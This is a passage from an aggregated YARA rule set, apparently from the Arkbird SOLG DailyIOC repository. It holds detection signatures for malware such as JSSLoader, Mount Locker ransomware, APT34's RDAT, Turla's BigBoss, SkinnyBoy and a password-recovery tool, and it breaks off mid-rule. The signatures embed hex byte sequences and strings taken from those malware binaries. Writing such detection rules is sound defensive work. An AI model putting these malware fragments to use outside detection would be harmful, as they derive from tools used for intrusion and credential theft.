00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
	condition:
		uint16( 0 ) == 0x457f and filesize < 26000KB and all of them
}


/*
 * YARA Rule Set
 * Repository Name: Arkbird SOLG
 * Repository: https://github.com/StrangerealIntel/DailyIOC
 * Retrieval Date: 2026-03-15
 * Git Commit: a873ff1298c43705e9c67286f3014f4300dd04f7
 * Number of Rules: 129
 * Skipped: 0 (age), 69 (quality), 28 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule ARKBIRD_SOLG_SP_Vault7_SIG_F_Nov_2020_1 : FILE
{
	meta:
		description = "Detect open-source PasswordReminder recovery tools used by Chinese APT in the Past"
		author = "Arkbird_SOLG"
		id = "0b65e333-16e2-57c3-84f0-5cd24c9d9593"
		date = "2020-11-30"
		modified = "2020-11-30"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-30/SP_Vault7_SIG_F_Nov_2020_1.yar#L1-L23"
		license_url = "N/A"
		logic_hash = "b03ffb433491b532d891f29aeb5b33c6578067f2f05845514a7bdc1e50f88a10"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "e6e17f2b2ce0ae07cf48654156b79ee90d330961456f731e84c94f50fe34f802"
		hash2 = "c224ee5bef42a45e84e0d5a409d8b4c3842b2a7ac3fe5006ee795e64e0778e6e"
	strings:
		$dbg1 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 57 69 6e 4c 6f 67 6f 6e 20 6f 72 20 79 6f 75 20 61 72 65 20 75 73 69 6e 67 20 4e 57 47 49 4e 41 2e 44 4c 4c 2e 0a }
		$dbg2 = { 54 68 65 20 65 6e 63 6f 64 65 64 20 70 61 73 73 77 6f 72 64 20 69 73 20 66 6f 75 6e 64 20 61 74 20 30 78 25 38 2e 38 6c 78 20 61 6e 64 20 68 61 73 20 61 20 6c 65 6e 67 74 68 20 6f 66 20 25 64 2e 0a }
		$dbg3 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 74 68 65 20 70 61 73 73 77 6f 72 64 20 69 6e 20 6d 65 6d 6f 72 79 2e 0a }
		$dbg4 = { 20 55 73 61 67 65 3a 20 25 73 20 44 6f 6d 61 69 6e 4e 61 6d 65 20 55 73 65 72 4e 61 6d 65 20 50 49 44 2d 6f 66 2d 57 69 6e 4c 6f 67 6f 6e 0a 0a }
		$dbg5 = { 54 68 65 20 6c 6f 67 6f 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 3a 20 25 53 2f 25 53 2f 25 53 2e 0a }
		$dbg6 = { 54 68 65 20 57 69 6e 4c 6f 67 6f 6e 20 70 72 6f 63 65 73 73 20 69 64 20 69 73 20 25 64 20 28 30 78 25 38 2e 38 6c 78 29 2e 0a }
		$dbg7 = { 59 6f 75 20 6c 6f 67 67 65 64 20 6f 6e 20 61 74 20 25 64 2f 25 64 2f 25 64 20 25 64 3a 25 64 3a 25 64 0a }
		$dbg8 = { 54 68 65 20 68 61 73 68 20 62 79 74 65 20 69 73 3a 20 30 78 25 32 2e 32 78 2e 0a }
		$dbg9 = { 53 55 56 57 68 14 ?? 40 00 e8 17 0c 00 00 8b 6c 24 1c [1-4] 45 00 50 68 e0 ?? 40 00 e8 ?? ?? 00 00 83 c4 ?? e8 ?? 02 00 00 85 c0 75 1d e8 ?? 02 00 00 85 c0 75 14 68 b4 ?? 40 00 e8 ?? 0b 00 00 83 c4 04 33 c0 5f 5e 5d 5b }
	condition:
		uint16( 0 ) == 0x4d5a and filesize > 50KB and 6 of them
}

rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_1 : FILE
{
	meta:
		description = "Detect WizardUpdate installer on OSX system"
		author = "Arkbird_SOLG"
		id = "50974725-6b45-5f2f-aa76-ae73dc752873"
		date = "2021-10-22"
		modified = "2021-10-23"
		reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_1.yara#L1-L21"
		license_url = "N/A"
		logic_hash = "b25145a9aa33c9518e5e0847b50faa8b67d65078ddfbb66de49196a17ddd3137"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "939cebc99a50989ffbdbb2a6727b914fc9b2382589b4075a9fd3857e99a8c92a3"
		hash2 = "c5017798275f054ae96c69f5dd0b378924c6504a70c399279bbf7f33d990d45b"
		hash3 = "7067e6a69a8f5fdbabfb00d03320cfc2f3584a83304cbeeca7e8edc3d57bbbd4"
		tlp = "White"
		adversary = "-"
	strings:
		$s1 = { 48 89 e5 48 83 ec 70 48 89 7d f0 48 c7 45 e0 00 00 00 00 b8 01 00 00 00 48 89 c7 48 89 c6 e8 b8 3b 00 00 31 c9 89 cf 48 89 45 d8 48 c7 45 d0 00 00 00 00 e8 a9 3b 00 00 48 8b 7d f0 48 8d 35 d4 3f 00 00 89 45 cc e8 ba 3b 00 00 48 89 45 e8 48 83 7d e8 00 0f 85 0d 00 00 00 48 c7 45 f8 00 00 00 00 e9 cd 00 00 00 e9 00 00 00 00 48 8b 55 e8 48 8d 7d e0 48 8d 75 d0 e8 70 3b 00 00 48 83 f8 ff 0f 84 9c 00 00 00 48 8b 7d d8 48 8b 45 d8 48 89 7d c0 48 89 c7 e8 76 3b 00 00 48 8b 7d e0 48 89 45 b8 e8 69 3b 00 00 48 8b 4d b8 48 01 c1 48 81 c1 01 00 00 00 48 8b 7d c0 48 89 ce e8 49 3b 00 00 48 89 45 d8 48 8b 45 d8 48 8b 7d d8 48 89 45 b0 e8 3a 3b 00 00 48 8b 4d b0 48 01 c1 48 8b 75 e0 48 8b 7d e0 48 89 4d a8 48 89 75 a0 e8 1e 3b 00 00 48 05 01 00 00 00 48 8b 7d a8 48 8b 75 a0 48 89 c2 e8 0e 3b 00 00 48 8b 7d e0 48 89 45 98 e8 d1 3a 00 00 48 c7 45 }
		$s2 = { 48 89 e5 48 81 ec 80 01 00 00 48 89 f8 48 8b 0d 7b 31 00 00 48 8b 09 48 89 4d f8 48 89 bd e8 fe ff ff c6 85 e7 fe ff ff 00 48 89 bd b8 fe ff ff 48 89 b5 b0 fe ff ff 48 89 85 a8 fe ff ff e8 9c 01 00 00 c7 85 d4 fe ff ff 00 01 00 00 48 8d 35 0a 2e 00 00 48 8b bd b0 fe ff ff e8 df 28 00 00 e9 00 00 00 00 48 8b bd b0 fe ff ff e8 8e 01 00 00 48 8d 35 ec 2d 00 00 48 89 c7 e8 5b 29 00 00 48 89 85 a0 fe ff ff e9 00 00 00 00 48 8b 85 a0 fe ff ff 48 89 85 d8 fe ff ff 48 83 bd d8 fe ff ff 00 0f 84 c4 00 00 00 e9 00 00 00 00 48 8b bd d8 fe ff ff e8 04 29 00 00 89 85 9c fe ff ff e9 00 00 00 00 8b 85 9c fe ff ff 83 f8 00 0f 95 c1 80 f1 ff f6 c1 01 0f 85 05 00 00 00 e9 75 00 00 00 48 8b 95 d8 fe ff ff 48 8d bd f0 fe ff ff be 00 01 00 00 e8 ca 28 00 00 48 89 85 90 fe ff ff e9 00 00 00 00 48 8b 85 90 fe ff ff 48 83 f8 00 0f 84 3b 00 00 00 48 8d b5 f0 fe ff ff 48 8b bd b8 fe ff ff }
		$s3 = "11101000010110101110100011010010110110101100101011011110111010101110100001000000011100100110000001100000010000000101101010011000010000000100010011010000111010001110100011100000111001100111010001011110010111101101101"
		$s4 = { 48 8b bd d8 fe ff ff e8 73 28 00 00 e9 00 00 00 00 e9 00 00 00 00 c6 85 e7 fe ff ff 01 f6 85 e7 fe ff ff 01 0f 85 0c 00 00 00 48 8b bd b8 fe ff ff e8 cb 27 00 00 48 8b 05 fc 2f 00 00 48 8b 00 48 8b 4d f8 48 39 c8 0f 85 32 00 00 00 48 8b 85 a8 fe ff ff 48 81 c4 80 01 00 }
	condition:
		uint32( 0 ) == 0xFEEDFACF and filesize > 50KB and ( ( $s1 and $s3 ) or ( $s2 and $s4 ) )
}


rule ARKBIRD_SOLG_MAL_Jssloader_Jun_2021_1 : FILE
{
	meta:
		description = "Detect JSSLoader malware"
		author = "Arkbird_SOLG"
		id = "192b1386-f0bc-54e8-9341-84f77f4f07c5"
		date = "2021-06-04"
		modified = "2021-06-05"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-04/FIN7/MAL_JSSLoader_Jun_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "73942afed6b3471be07be1fba3e7f90ec7f2377a1167aeef70627cd07faa3681"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "59c6acc8f6771ea6eeb8d8f03832642d87f9aa7eb0c3205398d31ad08e019a9c"
		hash2 = "2609c6ec5d4fdde28d29c272484da66e0995e529cf302ed46f94c68cd99352e3"
		hash3 = "ea167f5460c5f920699e276fb0c51f32c862256415c57edb4bda5760a70b9e4d"
		hash4 = "822457c427a0776b41dd8f3479070e56fdd53ccd0175418d4e7d85065ec7d7d1"
		tlp = "White"
		adversary = "FIN7"
	strings:
		$s1 = { 8b 45 c8 83 78 0c 00 0f 84 ce 00 00 00 8b 45 c8 8b 4d 08 03 48 0c 8b f4 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 bc 83 7d bc 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d 08 03 48 10 89 4d f8 8b 45 c8 8b 4d 08 03 08 89 4d ec 8b 45 ec 3b 45 08 75 06 8b 45 f8 89 45 ec 8b 45 ec 83 38 00 74 6c 8b 45 ec 8b 08 81 e1 00 00 00 }
		$s2 = { 8b f4 6a 04 68 00 10 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 f8 83 7d f8 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 8b 45 c8 8b 08 51 8b 55 f8 52 e8 [2] 00 00 83 c4 0c 8b f4 8b 45 f8 50 8b fc ff 15 [3] 00 3b fc e8 [2] 00 00 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b f4 6a 04 68 00 10 00 00 68 00 11 00 00 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 ec 83 7d ec 00 75 02 eb 3e 8b 45 c8 8b 48 08 8b 11 89 55 e0 83 7d e0 ff 75 0c c7 85 00 ff ff ff 00 00 00 00 eb 09 8b 45 e0 89 85 00 ff ff ff 8b 8d 00 ff ff ff 8b 55 ec 8b 45 f8 89 04 8a 8b 45 ec 64 a3 2c 00 00 00 5f 5e 5b 81 c4 00 01 00 00 3b ec e8 [2] 00 00 8b e5 5d }
		$s3 = { c7 45 f0 61 00 00 00 c7 45 c8 20 00 00 00 c7 45 cc 88 00 00 00 c7 45 dc 01 00 00 00 8d 45 f0 89 45 d0 33 c0 66 89 45 d4 c7 45 d8 00 00 00 00 c7 45 e0 00 00 00 00 8b 45 08 89 45 e4 8b f4 8d 45 c8 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 b0 83 7d b0 ff 74 17 8b f4 8d 45 bc 50 8b 4d b0 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 52 8b cd 50 8d 15 2c 13 40 00 e8 [2] 00 00 58 5a 5f 5e 5b 8b 4d fc 33 cd e8 [2] 00 00 81 c4 2c 01 00 00 3b ec e8 [2] 00 00 8b e5 }
		$s4 = { 8b 45 ec 8b 08 81 e1 ff ff 00 00 8b f4 51 8b 55 bc 52 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 4d f8 89 01 eb 25 8b 45 ec 8b 08 8b 55 08 8d 44 0a 02 8b f4 50 8b 4d bc 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 55 f8 89 02 8b 45 f8 83 c0 04 89 45 f8 8b 45 ec 83 c0 04 89 45 ec eb 8c 8b 45 c8 83 c0 14 89 45 c8 e9 25 ff ff ff 5f 5e 5b 81 c4 08 01 00 00 3b ec e8 [2] 00 00 8b e5 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 100KB and filesize < 900KB and all of ( $s* )
}

rule ARKBIRD_SOLG_Ran_Mount_Locker_Nov_2020_1 : FILE
{
	meta:
		description = "Detect Mount Locker ransomware (November 2020 variant)"
		author = "Arkbird_SOLG"
		id = "20fde6f4-ef7d-57c4-8cc2-a6ea810c2b0c"
		date = "2020-11-20"
		modified = "2020-11-22"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Mount Locker/Ran_Mount_Locker_Nov_2020_1.yar#L1-L26"
		license_url = "N/A"
		logic_hash = "028e89e9c0c46ac5c36fee5cbfba068b4c6c1f53aa224e454ebd358f2c6ae9a9"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "e7c277aae66085f1e0c4789fe51cac50e3ea86d79c8a242ffc066ed0b0548037"
		hash2 = "226a723ffb4a91d9950a8b266167c5b354ab0db1dc225578494917fe53867ef2"
	strings:
		$s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword wide
		$s2 = "VBA6.DLL" fullword ascii
		$s3 = "MSComDlg.CommonDialog" fullword ascii
		$s4 = "DllFunctionCall" fullword ascii
		$s5 = { 00 2a 00 5c 00 41 00 43 00 3a 00 5c [35-160] 00 2e 00 76 00 62 00 70 }
		$s6 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\COMCTL32.oca" fullword wide
		$s7 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\MSFLXGRD.oca" fullword ascii
		$s8 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
		$s9 = "SFLXGRD.OCX" fullword ascii
		$s10 = "COMDLG32.OCX" fullword ascii
		$s11 = "COMCTL32.OCX" fullword ascii
		$seq1 = { 42 00 24 00 40 00 43 00 67 00 2f 00 44 00 08 00 4a 00 51 00 77 00 54 00 76 00 25 00 55 00 48 00 00 00 00 00 5d 00 4c 00 09 00 53 00 3e 00 73 00 62 00 52 00 50 00 0b 00 61 00 01 00 61 01 3a 00 03 00 57 00 4f 00 75 00 54 00 71 00 22 00 53 00 37 00 00 00 30 00 1d 00 46 00 5a 00 5c 00 48 00 78 00 63 00 02 00 1d 00 23 00 3b 00 28 00 55 00 73 00 28 00 61 00 3b 00 00 00 00 00 44 00 4e 00 4a 00 4d 00 61 00 40 00 59 00 2b 00 38 00 02 01 04 01 54 00 08 00 52 00 56 00 1d 00 42 00 3e 00 00 00 00 00 35 00 70 00 3b 00 37 00 6f 00 26 00 26 00 40 00 64 00 02 00 51 00 3c 00 41 00 16 00 3e 00 00 00 47 00 58 00 33 00 89 00 54 00 2d 00 29 00 50 00 04 00 59 00 5d 00 4f 00 1b 00 36 00 30 00 83 00 41 00 00 00 2a 00 54 00 47 00 86 00 56 00 19 00 24 00 4e 00 3a 00 45 00 51 00 4d 00 1e 00 3b 00 2b 00 81 00 35 00 00 00 3a 00 65 00 57 00 03 00 2d 00 62 00 53 }
		$seq2 = { 5a 00 3d 00 14 00 51 00 1f 00 67 00 1c 00 24 00 00 00 00 00 00 00 6f 00 27 00 62 00 5d 00 6d 00 30 00 01 00 27 01 25 00 62 00 7b 00 05 00 56 00 24 00 3c 00 3d 00 5d 00 2e 00 62 00 03 00 0a 00 57 00 6a 00 02 00 5d 00 02 01 23 01 67 00 20 00 54 00 01 00 6c 01 17 00 0b 00 44 00 21 00 1e 00 01 00 52 01 60 00 3b 00 11 00 45 00 2a 00 59 00 2c 00 19 00 00 00 5a 00 1e 00 61 00 5c 00 6b 00 31 00 01 00 1a 01 2d 00 4a 00 6f 00 11 00 57 00 2c 00 3a 00 3a 00 50 00 2a 00 61 00 02 00 07 00 53 00 7b 00 01 01 5b 00 02 01 6a 01 0b 00 03 00 6d 00 43 00 0c 00 64 00 4d 00 44 00 5f 00 08 00 5a 00 68 00 2b 00 32 00 68 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 100KB and 6 of ( $s* ) and 1 of ( $seq* )
}


rule ARKBIRD_SOLG_APT_APT34_RDAT_July_2021_1 : FILE
{
	meta:
		description = "Detect RDAT used by APT34"
		author = "Arkbird_SOLG"
		id = "136f8a9e-e680-5fab-8113-b4d33a47bc34"
		date = "2021-07-15"
		modified = "2021-07-16"
		reference = "https://twitter.com/ShadowChasing1/status/1415206437806960647"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-15/APT34/APT_APT34_RDAT_July_2021_1.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "269788430ca8faff4b0ea5ec7c2a62f99f5f48ef3bc4ea3f7a27f1d735e64819"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "b59dea96ef94e8d32ee1a1805174318643569bbdca0d7569ede19467ff09dcdc"
		hash2 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c"
		hash3 = "f9f6dbb09773f708b125a4cca509047eb33c8c53d9e15a8c41ae3d7a8c3e5c7c"
		tlp = "White"
		adversary = "APT34"
	strings:
		$s1 = { 0a 6f 70 74 20 25 6c 75 28 25 6c 75 29 20 73 74 61 74 20 25 6c 75 28 25 6c 75 29 20 73 74 6f 72 65 64 20 25 6c 75 20 6c 69 74 20 25 75 20 64 69 73 74 20 25 75 }
		$s2 = { 0a 6c 61 73 74 5f 6c 69 74 20 25 75 2c 20 6c 61 73 74 5f 64 69 73 74 20 25 75 2c 20 69 6e 20 25 6c 64 2c 20 6f 75 74 20 7e 25 6c 64 28 25 6c 64 25 25 29 }
		$s3 = { 70 65 6e 53 43 4d 61 6e 61 67 65 72 20 66 61 69 6c 65 64 20 28 25 64 29 0a }
		$s4 = { 43 72 65 61 74 65 53 65 72 76 69 63 65 20 66 61 69 6c 65 64 20 28 25 64 29 0a 00 00 00 00 00 00 53 65 72 76 69 63 65 20 69 6e 73 74 61 6c 6c 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 0a }
		$s5 = { 49 8b cd ff 15 56 22 07 00 c6 05 87 7b 0a 00 00 c7 05 81 7b 0a 00 60 ea 00 00 49 83 c9 ff 45 33 c0 48 8d 55 20 48 8d 0d f3 7b 0a 00 e8 26 a4 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 00 48 8d 0d bc 7b 0a 00 e8 0f a4 ff ff 41 b8 07 00 00 00 48 8d 15 92 b8 08 00 48 8d 0d 03 7c 0a 00 e8 16 a3 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 40 48 8d 0d 6c 7b 0a 00 e8 df a3 ff ff 41 b8 ?? 00 00 00 48 8d 15 6a b8 08 00 48 8d 0d 13 7c 0a 00 e8 e6 a2 ff ff 48 8d 1d 0f 7d 0a 00 48 8b c3 48 83 3d 1c 7d 0a 00 08 48 0f 43 05 fc 7c 0a 00 48 89 44 24 58 48 8d 05 a0 03 00 00 48 89 44 24 60 48 89 7c 24 68 48 89 7c 24 70 48 8d 4c 24 58 ff 15 4e 21 07 00 85 c0 75 29 48 83 3d e2 7c 0a 00 08 48 0f 43 1d c2 7c 0a 00 48 8b d3 33 c9 ff 15 37 21 07 00 48 85 c0 74 09 48 8b c8 ff 15 f1 20 07 00 83 7c 24 30 02 7f 5d 48 8d 44 24 48 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 0a 71 ff ff 33 d2 33 c9 ff 15 60 22 07 00 48 8d 44 24 50 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 a8 95 ff ff 33 d2 33 c9 ff 15 3e 22 07 00 83 ca ff 48 8b c8 ff 15 f2 20 07 00 b9 64 00 00 00 ff 15 47 22 07 }
		$s6 = { 48 89 7d f0 48 89 7d f8 45 33 c0 33 d2 48 8d 4d e0 e8 43 a7 ff ff 41 b8 2c 00 00 00 48 8d 15 be bc 08 00 48 8d 4d e0 e8 ad a7 ff ff 48 89 7d 70 48 89 7d 78 45 33 c0 33 d2 48 8d 4d 60 e8 17 a7 ff ff 45 33 c0 48 8d 15 77 94 08 00 48 8d 4d 60 e8 84 a7 ff ff 83 7c 24 30 02 75 6e 48 8d 85 a8 00 00 00 48 89 85 a0 00 00 00 41 b8 03 00 00 00 49 8b 55 08 48 8d 8d a0 00 00 00 e8 c9 0a 00 00 48 8b 95 a0 00 00 00 48 8d 4d a0 e8 89 a5 ff ff 48 8d 85 a8 00 00 00 48 8b 8d a0 00 00 48 89 85 b0 10 00 00 48 8b da 48 8b f9 33 f6 89 74 24 78 c7 45 80 18 00 00 00 c7 45 90 01 00 00 00 48 89 75 88 45 33 c9 4c 8d 45 80 48 8d 54 24 68 48 8d 4c 24 60 ff 15 81 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 60 ff 15 68 fe 06 00 45 33 c9 4c 8d 45 80 48 8d 54 24 70 48 8d 4c 24 58 ff 15 59 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 58 ff 15 40 fe 06 00 33 c0 48 89 45 98 48 89 45 a0 48 89 45 a8 33 d2 44 8d 46 68 48 8d 4d c0 e8 ab 89 04 00 c7 45 c0 68 00 00 00 48 8b 44 24 68 48 89 45 20 48 8b 44 24 70 48 89 45 18 81 4d fc 00 01 00 00 48 8b d3 48 8d 4d 30 e8 bf fe ff ff 90 4c 8b c0 48 8d 8d 90 00 00 00 e8 9f 0d 00 00 90 45 33 c0 b2 01 48 8d 4d 30 e8 d0 7d ff ff 48 8d 95 90 00 00 00 48 83 bd a8 00 00 00 08 48 0f 43 95 90 00 00 00 48 8d 45 98 48 89 44 24 48 48 8d 45 c0 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 a7 fd 06 00 48 8b 4c 24 68 ff 15 94 fd 06 00 48 8b 4c 24 70 ff 15 89 fd 06 00 48 89 b5 80 00 00 00 48 89 b5 88 00 00 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_APT_Turla_Bigboss_Apr_2021_1 : FILE
{
	meta:
		description = "Detects new BigBoss implants (SilentMoon/GoldenSky)"
		author = "Arkbird_SOLG"
		id = "6f6c8d1e-f2c7-5f08-b1dc-ce726c6d89be"
		date = "2021-04-06"
		modified = "2021-07-17"
		reference = "https://twitter.com/DrunkBinary/status/1304086230540390400"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-17/BigBoss/APT_Turla_BigBoss_Apr_2021_1.yara#L1-L21"
		license_url = "N/A"
		logic_hash = "ce0ffdad9eecb79128b6c08c87914f356c86ac631655c76905a06d953add3998"
		score = 75
		quality = 71
		tags = "FILE"
		hash1 = "94421ccb97b784c43d92c4b1438481eee9c907db6b13f6cfc4b86a6bb057ddcd"
		hash2 = "67bfa585ace8df20deb1d8a05bd4acf2c84c6fa0966276b3ea7607056abe25bb"
		hash3 = "6ca0b4efe077fe05b2ae871bf50133c706c7090a54d2c3536a6c86ff454caa9a"
	strings:
		$s1 = { 55 8b ec a1 [2] 40 00 83 ec 3c 50 6a 3c 8d 4d c4 51 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 78 ?? 40 00 8d 45 c4 8d 50 02 8d 49 00 66 8b 08 83 c0 02 66 85 c9 75 f5 2b c2 d1 f8 75 1c 8b 15 [2] 40 00 52 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 [2] 40 00 8b e5 }
		$s2 = { 5c 00 5c 00 2e 00 5c 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 50 00 49 00 50 00 45 00 5c }
		$s3 = { 5c 5c 25 73 5c 70 69 70 65 5c 25 73 }
		$s4 = { 5c 00 69 00 6e 00 66 00 5c 00 00 00 [4-16] 2e 00 69 00 6e 00 66 }
		$s5 = "%d blocks, %d sorted, %d scanned" ascii fullword
		$s6 = "REMOTE_NS:ERROR:%d" ascii fullword
		$s7 = { 5c 5c 25 73 5c 69 70 63 24 }
		$s8 = { 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 6c 00 61 00 6e 00 6d 00 61 00 6e 00 73 00 65 00 72 00 76 00 65 00 72 00 5c 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 73 00 00 00 4e 00 75 00 6c 00 6c 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 50 00 69 00 70 00 65 00 73 00 00 00 00 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4c 00 53 00 41 00 00 00 00 00 52 00 65 00 73 00 74 00 72 00 69 00 63 00 74 00 41 00 6e 00 6f 00 6e 00 79 00 6d 00 6f 00 75 00 73 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and 7 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Skinnyboy_Implant_Jun_2021_1 : FILE
{
	meta:
		description = "Detect SkinnyBoy Implant"
		author = "Arkbird_SOLG"
		id = "2c78e0f3-a0b3-56fb-b4d2-313c03f1331b"
		date = "2021-06-05"
		modified = "2021-06-06"
		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Implant_Jun_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "37d6b03adaad0a97e91a366d8e5ce47bc0eb77263849422129edf9df28d25bd8"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698"
		tlp = "White"
		adversary = "APT28"
	strings:
		$s1 = { 55 8b ec 81 ec 48 01 00 00 a1 00 00 01 10 33 c5 89 45 fc 53 56 57 6a 00 6a 00 6a 00 8b c2 6a 00 68 6c ef 00 10 89 85 d0 fe ff ff 89 8d cc fe ff ff 89 85 e4 fe ff ff c7 85 c0 fe ff ff 01 00 00 00 c7 85 d8 fe ff ff 00 00 00 00 c7 85 dc fe ff ff 00 00 00 00 ff 15 e4 b1 00 10 8b 1d a4 b0 00 10 8b f0 89 b5 d4 fe ff ff ff d3 8b 3d d4 b1 00 10 85 f6 74 26 6a 04 8d 85 ec fe ff ff 50 6a 06 56 c7 85 ec fe ff ff c0 27 09 00 ff d7 6a 04 8d 85 ec fe ff ff 50 6a 05 56 ff d7 ff d3 85 f6 74 22 6a 01 6a 00 6a 03 6a 00 6a 00 68 bb 01 00 00 ff b5 cc fe ff ff 56 ff 15 cc b1 00 10 89 85 d8 fe ff ff ff d3 8b 4d 08 8b 3d e8 b1 00 10 81 f9 00 00 a0 00 0f 83 a7 01 00 00 68 03 01 00 00 8d 85 f1 fe ff ff 6a 00 50 c6 85 f0 fe ff ff 00 e8 3c 33 00 00 83 c4 0c ba 01 00 00 00 6a 00 6a 01 8d 8d f0 fe ff ff e8 55 f7 ff ff 83 c4 08 8d 55 08 8d 8d e4 fe ff ff e8 94 f6 ff ff 8d bd f0 fe ff ff 8d 4f 01 8a 07 47 84 c0 75 f9 8b 75 08 2b f9 8d 04 37 50 6a 08 89 85 e0 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 57 8d 8d f0 fe ff ff 51 50 89 85 d0 fe ff ff e8 62 6e 00 00 8b 85 d0 fe ff ff 83 c4 0c 03 c7 56 8b b5 e4 fe ff ff 56 50 e8 49 6e 00 00 83 c4 0c 56 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 57 8d 85 f0 fe ff ff 6a 00 50 e8 96 32 00 00 83 c4 0c 8d 8d d4 fe ff ff 6a 01 ff b5 e0 fe ff ff ff b5 d0 fe ff ff e8 8a f3 ff ff 85 c0 0f 84 7c 03 00 00 8b 85 d4 fe ff ff 8b 3d e8 b1 00 10 85 c0 74 03 50 ff d7 8b 85 d8 fe ff ff 85 }
